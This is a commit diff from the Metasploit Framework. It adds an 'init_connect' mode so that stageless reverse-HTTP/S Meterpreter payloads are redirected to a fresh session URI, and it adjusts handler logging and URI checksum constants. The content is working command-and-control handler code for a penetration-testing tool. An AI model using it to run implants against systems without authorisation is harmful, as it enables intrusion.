Skip to content

Commit 4e49964

Browse files
committed
Add support for init_connect for stageless payloads
This new mode for HTTP/S stageless allows the stageless payload to be reused without MSF believing that the session has already been initialised.
1 parent c2a252f commit 4e49964

File tree

3 files changed

+39
-14
lines changed

3 files changed

+39
-14
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 24 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
require 'rex/sync/ref'
44
require 'rex/payloads/meterpreter/patch'
55
require 'rex/payloads/meterpreter/uri_checksum'
6+
require 'rex/post/meterpreter/packet'
67
require 'rex/parser/x509_certificate'
78
require 'msf/core/payload/windows/verify_ssl'
89

@@ -19,6 +20,7 @@ module ReverseHttp
1920
include Msf::Handler
2021
include Rex::Payloads::Meterpreter::UriChecksum
2122
include Msf::Payload::Windows::VerifySsl
23+
include Rex::Post::Meterpreter
2224

2325
#
2426
# Returns the string representation of the handler type
@@ -222,8 +224,6 @@ def on_request(cli, req, obj)
222224
uuid.arch ||= obj.arch
223225
uuid.platform ||= obj.platform
224226

225-
print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
226-
227227
conn_id = nil
228228
if info[:mode] && info[:mode] != :connect
229229
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
@@ -233,7 +233,25 @@ def on_request(cli, req, obj)
233233

234234
# Process the requested resource.
235235
case info[:mode]
236+
when :init_connect
237+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
238+
239+
# Handle the case where stageless payloads call in on the same URI when they
240+
# first connect. From there, we tell them to callback on a connect URI that
241+
# was generated on the fly. This means we form a new session for each.
242+
sum = uri_checksum_lookup(:connect)
243+
new_uri = generate_uri_uuid(sum, uuid) + '/'
244+
245+
# This bit is going to need to be validated by the Ruby/MSF masters as I
246+
# am not sure that this is the best way to get a TLV packet out from this
247+
# handler.
248+
# Hurl a TLV back at the caller, and ignore the response
249+
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
250+
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
251+
resp.body = pkt.to_r
252+
236253
when :init_python
254+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
237255
url = payload_uri(req) + conn_id + '/'
238256

239257
blob = ""
@@ -268,6 +286,7 @@ def on_request(cli, req, obj)
268286
})
269287

270288
when :init_java
289+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
271290
url = payload_uri(req) + conn_id + "/\x00"
272291

273292
blob = ""
@@ -296,9 +315,9 @@ def on_request(cli, req, obj)
296315
})
297316

298317
when :init_native
318+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
299319
url = payload_uri(req) + conn_id + "/\x00"
300320

301-
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
302321
resp['Content-Type'] = 'application/octet-stream'
303322

304323
blob = obj.stage_payload
@@ -335,9 +354,10 @@ def on_request(cli, req, obj)
335354
})
336355

337356
when :connect
357+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
358+
338359
resp.body = ""
339360
conn_id = req.relative_resource
340-
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
341361

342362
# Short-circuit the payload's handle_connection processing for create_session
343363
create_session(cli, {

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,10 @@ def generate_stageless(opts={})
3838
host = datastore['LHOST']
3939
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
4040
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
41-
url << "#{generate_uri_uuid_mode(:connect)}/"
41+
42+
# Use the init_connect mode because we're stageless. This will force
43+
# MSF to generate a new URI when the first request is made.
44+
url << "#{generate_uri_uuid_mode(:init_connect)}/"
4245

4346
# invoke the given function to generate the architecture specific payload
4447
opts[:generator].call(url) do |dll|

lib/rex/payloads/meterpreter/uri_checksum.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -10,18 +10,20 @@ module UriChecksum
1010
# Define 8-bit checksums for matching URLs
1111
# These are based on charset frequency
1212
#
13-
URI_CHECKSUM_INITW = 92 # Windows
14-
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
15-
URI_CHECKSUM_INITP = 80 # Python
16-
URI_CHECKSUM_INITJ = 88 # Java
17-
URI_CHECKSUM_CONN = 98 # Existing session
13+
URI_CHECKSUM_INITW = 92 # Windows
14+
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
15+
URI_CHECKSUM_INITP = 80 # Python
16+
URI_CHECKSUM_INITJ = 88 # Java
17+
URI_CHECKSUM_CONN = 98 # Existing session
18+
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
1819

1920
# Mapping between checksums and modes
2021
URI_CHECKSUM_MODES = Hash[
21-
URI_CHECKSUM_INITN, :init_native,
22-
URI_CHECKSUM_INITP, :init_python,
23-
URI_CHECKSUM_INITJ, :init_java,
24-
URI_CHECKSUM_CONN, :connect
22+
URI_CHECKSUM_INITN, :init_native,
23+
URI_CHECKSUM_INITP, :init_python,
24+
URI_CHECKSUM_INITJ, :init_java,
25+
URI_CHECKSUM_INIT_CONN, :init_connect,
26+
URI_CHECKSUM_CONN, :connect
2527
]
2628

2729
URI_CHECKSUM_MIN_LEN = 5

0 commit comments

Comments
 (0)